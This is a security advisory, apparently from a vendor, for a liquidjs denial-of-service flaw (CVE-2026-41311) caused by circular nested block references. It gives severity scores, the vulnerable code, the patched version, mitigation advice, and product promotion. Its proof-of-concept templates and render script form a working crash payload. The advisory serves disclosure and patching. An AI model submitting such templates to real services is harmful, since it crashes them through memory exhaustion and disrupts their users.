CVE-2026-41311 is a high-severity (CVSS 7.5) CWE-674 vulnerability in liquidjs. A fix is available for liquidjs — see the affected versions and patch details below.
LiquidJS is vulnerable to Denial of Service via circular block reference in layout
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41311.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-41311 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
liquidjsnpmDescription
Summary
A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.
Details
In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.
Relevant code (src/tags/block.ts, getBlockRender method):
private getBlockRender (ctx: Context) {
const { liquid, templates } = this
const renderChild = ctx.getRegister('blocks')[this.block]
const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {
ctx.push({ block: superBlock })
yield liquid.renderer.renderTemplates(templates, ctx, emitter)
ctx.pop()
}
return renderChild
? (superBlock: BlockDrop, emitter: Emitter) => renderChild(
new BlockDrop(
(emitter: Emitter) => renderCurrent(superBlock, emitter)
),
emitter)
: renderCurrent
}
When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on — infinite loop.
PoC
1. Create a layout file (layout.html):
<header>{% block a %}default-a{% endblock %}</header>
<main>{% block b %}default-b{% endblock %}</main>
<footer>{% block c %}default-c{% endblock %}</footer>
2. Create a template that uses the layout:
{% layout "layout" %}
{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}
{% block b %}content-b{% endblock %}
{% block c %}content-c{% endblock %}
3. Render:
const { Liquid } = require('liquidjs')
const liquid = new Liquid({ root: './', extname: '.html' })
liquid.renderFile('template').then(console.log)
// Result: process hangs, memory grows to ~4GB, then crashes with OOM
The anonymous block variant also triggers the same issue:
{% layout "parent" %}
{%block%}A{%block%}B{%endblock%}{%endblock%}
Impact
Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | liquidjs | all versions | 10.25.7npm install liquidjs@10.25.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update liquidjs to 10.25.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41311 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41311 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41311. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-41311 in your dependencies?
O3 Security finds CVE-2026-41311 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.